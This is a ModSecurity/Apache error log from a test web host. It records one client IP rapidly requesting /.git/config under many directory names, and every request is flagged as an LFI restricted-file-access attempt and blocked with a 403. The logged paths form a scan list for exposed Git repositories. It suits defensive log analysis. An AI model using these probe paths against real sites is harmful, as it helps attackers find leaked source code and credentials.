[Sat May 25 00:07:46.171570 2024] [:error] [pid 3454965] [client 91.215.85.43:50096] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /new/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHvgAAAAE"]
[Sat May 25 00:07:46.172378 2024] [:error] [pid 3454965] [client 91.215.85.43:50096] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHvgAAAAE"]
[Sat May 25 00:07:46.172899 2024] [:error] [pid 3454965] [client 91.215.85.43:50096] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHvgAAAAE"]
[Sat May 25 00:07:46.227633 2024] [:error] [pid 3454966] [client 91.215.85.43:50106] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /node_modules/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMgAAAAI"]
[Sat May 25 00:07:46.228200 2024] [:error] [pid 3454966] [client 91.215.85.43:50106] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMgAAAAI"]
[Sat May 25 00:07:46.228680 2024] [:error] [pid 3454966] [client 91.215.85.43:50106] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMgAAAAI"]
[Sat May 25 00:07:46.237880 2024] [:error] [pid 3454974] [client 91.215.85.43:50088] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /m/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/m/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUsgAAAAU"]
[Sat May 25 00:07:46.238498 2024] [:error] [pid 3454974] [client 91.215.85.43:50088] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/m/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUsgAAAAU"]
[Sat May 25 00:07:46.238900 2024] [:error] [pid 3454974] [client 91.215.85.43:50088] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/m/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUsgAAAAU"]
[Sat May 25 00:07:46.240233 2024] [:error] [pid 3454964] [client 91.215.85.43:50110] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /old-cuburn/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old-cuburn/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRgAAAAA"]
[Sat May 25 00:07:46.240796 2024] [:error] [pid 3454964] [client 91.215.85.43:50110] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old-cuburn/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRgAAAAA"]
[Sat May 25 00:07:46.241160 2024] [:error] [pid 3454964] [client 91.215.85.43:50110] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old-cuburn/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRgAAAAA"]
[Sat May 25 00:07:46.244984 2024] [:error] [pid 3454968] [client 91.215.85.43:50128] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /qa/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjAAAAAQ"]
[Sat May 25 00:07:46.245416 2024] [:error] [pid 3454968] [client 91.215.85.43:50128] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjAAAAAQ"]
[Sat May 25 00:07:46.245768 2024] [:error] [pid 3454968] [client 91.215.85.43:50128] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjAAAAAQ"]
[Sat May 25 00:07:46.247655 2024] [:error] [pid 3455036] [client 91.215.85.43:50124] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDeQAAAAY"]
[Sat May 25 00:07:46.247938 2024] [:error] [pid 3455036] [client 91.215.85.43:50124] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDeQAAAAY"]
[Sat May 25 00:07:46.248153 2024] [:error] [pid 3455036] [client 91.215.85.43:50124] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDeQAAAAY"]
[Sat May 25 00:07:46.260181 2024] [:error] [pid 3454967] [client 91.215.85.43:50130] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /repos/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repos/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLgAAAAM"]
[Sat May 25 00:07:46.260420 2024] [:error] [pid 3454967] [client 91.215.85.43:50130] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repos/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLgAAAAM"]
[Sat May 25 00:07:46.260697 2024] [:error] [pid 3454967] [client 91.215.85.43:50130] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repos/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLgAAAAM"]
[Sat May 25 00:07:46.268615 2024] [:error] [pid 3454965] [client 91.215.85.43:50142] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /repository/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repository/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHvwAAAAE"]
[Sat May 25 00:07:46.269195 2024] [:error] [pid 3454965] [client 91.215.85.43:50142] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repository/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHvwAAAAE"]
[Sat May 25 00:07:46.269716 2024] [:error] [pid 3454965] [client 91.215.85.43:50142] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repository/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHvwAAAAE"]
[Sat May 25 00:07:46.325197 2024] [:error] [pid 3454966] [client 91.215.85.43:50148] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /s3/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMwAAAAI"]
[Sat May 25 00:07:46.325883 2024] [:error] [pid 3454966] [client 91.215.85.43:50148] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMwAAAAI"]
[Sat May 25 00:07:46.326347 2024] [:error] [pid 3454966] [client 91.215.85.43:50148] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMwAAAAI"]
[Sat May 25 00:07:46.337630 2024] [:error] [pid 3454974] [client 91.215.85.43:50176] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /shop/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUswAAAAU"]
[Sat May 25 00:07:46.338198 2024] [:error] [pid 3454974] [client 91.215.85.43:50176] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUswAAAAU"]
[Sat May 25 00:07:46.338642 2024] [:error] [pid 3454974] [client 91.215.85.43:50176] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUswAAAAU"]
[Sat May 25 00:07:46.341156 2024] [:error] [pid 3454968] [client 91.215.85.43:50178] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjQAAAAQ"]
[Sat May 25 00:07:46.341748 2024] [:error] [pid 3454968] [client 91.215.85.43:50178] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjQAAAAQ"]
[Sat May 25 00:07:46.342138 2024] [:error] [pid 3454968] [client 91.215.85.43:50178] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjQAAAAQ"]
[Sat May 25 00:07:46.342588 2024] [:error] [pid 3454964] [client 91.215.85.43:50160] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /samples/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/samples/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRwAAAAA"]
[Sat May 25 00:07:46.343089 2024] [:error] [pid 3454964] [client 91.215.85.43:50160] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/samples/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRwAAAAA"]
[Sat May 25 00:07:46.343478 2024] [:error] [pid 3454964] [client 91.215.85.43:50160] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/samples/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRwAAAAA"]
[Sat May 25 00:07:46.351030 2024] [:error] [pid 3455036] [client 91.215.85.43:50184] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDegAAAAY"]
[Sat May 25 00:07:46.351423 2024] [:error] [pid 3455036] [client 91.215.85.43:50184] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDegAAAAY"]
[Sat May 25 00:07:46.351718 2024] [:error] [pid 3455036] [client 91.215.85.43:50184] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDegAAAAY"]
[Sat May 25 00:07:46.364974 2024] [:error] [pid 3454967] [client 91.215.85.43:50194] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /staging/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLwAAAAM"]
